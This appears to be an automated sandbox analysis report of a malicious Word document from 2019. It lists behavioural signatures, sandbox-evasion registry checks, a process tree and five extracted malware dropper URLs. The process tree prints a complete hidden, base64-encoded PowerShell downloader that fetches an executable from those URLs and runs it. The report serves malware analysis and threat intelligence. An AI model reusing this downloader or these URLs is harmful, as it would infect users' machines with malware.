Analysis
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max time kernel
30s -
resource
win10v191014 -
submitted
12-12-2019 15:51
General
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Target
3138ef82c831e5d2a14770d7d643310dda468eb8126056b5590d52267c65c0a0.doc
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Sample
191212-6bh1fmzy86
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SHA256
3138ef82c831e5d2a14770d7d643310dda468eb8126056b5590d52267c65c0a0
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://re365.com/wp-content/uploads/0ui-snu7u-1593794/
exe.dropper
http://guyanapress.net/htdocs/1vl1-gyxu-82/
exe.dropper
https://blog.digitalnicheagency.com/g1t0/vGlTnK/
exe.dropper
http://vanity.sitecare.org/wp-content/uploads/oEKdTPv/
exe.dropper
http://abdullahsametcetin.com/wp-content/0xwkdipwl-fbe-520981/
Signatures
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Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4908 WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 1016 wrote to memory of 3000 1016 SppExtComObj.exe 76 -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4908 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3752 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4908 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3752 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3138ef82c831e5d2a14770d7d643310dda468eb8126056b5590d52267c65c0a0.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
PID:4908
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:3000
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABYAHoAbgBuAG8AdwBwAGwAdwBoAG4APQAnAFUAcABmAG4AawByAG0AdgB0ACcAOwAkAEgAYwB2AG4AdQBxAGkAaQAgAD0AIAAnADIANwA2ACcAOwAkAEcAeABrAHoAZwBqAHMAbQBvAGQAbgBpAD0AJwBKAGMAcwB0AHMAcAB4AHYAYgB4AG8AJwA7ACQAQgB5AGYAYQBuAHcAcgBkAGcAcwBlAHAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAYwB2AG4AdQBxAGkAaQArACcALgBlAHgAZQAnADsAJABSAHoAdgBlAHMAZwB0AGkAegBlAG0AcAB4AD0AJwBTAHIAYwB4AGoAdgBoAGoAZABhAG8AcgB4ACcAOwAkAFcAdQB3AGcAcQBxAGYAaAB4AHAAeAA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBjAEwAaQBFAE4AdAA7ACQARgB0AHoAcABpAG0AdgBkAGIAZQBvAD0AJwBoAHQAdABwAHMAOgAvAC8AcgBlADMANgA1AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvADAAdQBpAC0AcwBuAHUANwB1AC0AMQA1ADkAMwA3ADkANAAvACoAaAB0AHQAcAA6AC8ALwBnAHUAeQBhAG4AYQBwAHIAZQBzAHMALgBuAGUAdAAvAGgAdABkAG8AYwBzAC8AMQB2AGwAMQAtAGcAeQB4AHUALQA4ADIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AZABpAGcAaQB0AGEAbABuAGkAYwBoAGUAYQBnAGUAbgBjAHkALgBjAG8AbQAvAGcAMQB0ADAALwB2AEcAbABUAG4ASwAvACoAaAB0AHQAcAA6AC8ALwB2AGEAbgBpAHQAeQAuAHMAaQB0AGUAYwBhAHIAZQAuAG8AcgBnAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBvAEUASwBkAFQAUAB2AC8AKgBoAHQAdABwADoALwAvAGEAYgBkAHUAbABsAGEAaABzAGEAbQBlAHQAYwBlAHQAaQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAB4AHcAawBkAGkAcAB3AGwALQBmAGIAZQAtADUAMgAwADkAOAAxAC8AJwAuACIAUwBgAHAAbABpAFQAIgAoACcAKgAnACkAOwAkAE4AawBkAG0AYgBtAHQAegB1AGMAawBnAGsAPQAnAEQAdgB1AHkAZABqAHYAcgB0ACcAOwBmAG8AcgBlAGEAYwBoACgAJABBAGkAaABrAGMAaQB0AHkAdAAgAGkAbgAgACQARgB0AHoAcABpAG0AdgBkAGIAZQBvACkAewB0AHIAeQB7ACQAVwB1AHcAZwBxAHEAZgBoAHgAcAB4AC4AIgBEAGAAbwB3AGAATgBsAG8AQQBgAEQARgBJAGwAZQAiACgAJABBAGkAaABrAGMAaQB0AHkAdAAsACAAJABCAHkAZgBhAG4AdwByAGQAZwBzAGUAcAApADsAJABRAHMAZQBlAG8AdgB5AGMAcQBjAD0AJwBVAGwAegByAGgAdQB6AHAAdwBsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAQgB5AGYAYQBuAHcAcgBkAGcAcwBlAHAAKQAuACIAbABFAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADMANwA4ADIANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAHIAdAAiACgAJABCAHkAZgBhAG4AdwByAGQAZwBzAGUAcAApADsAJABYAHkAaABtAHMAcwBrAGwAcQB2AGIAdgA9ACcATwBoAGkAaABkAHMAagBhAG0AZQBzACcAOwBiAHIAZQBhAGsAOwAkAFQAbABuAGYAdQBoAGwAcQB4AHIAcQB5AGoAPQAnAEQAcQB5AHcAcQBnAGwAaQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAGQAagB4AGwAZAB1AGUAPQAnAFoAYwBxAGcAbgBlAHgAcgBxAHIAaQAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3752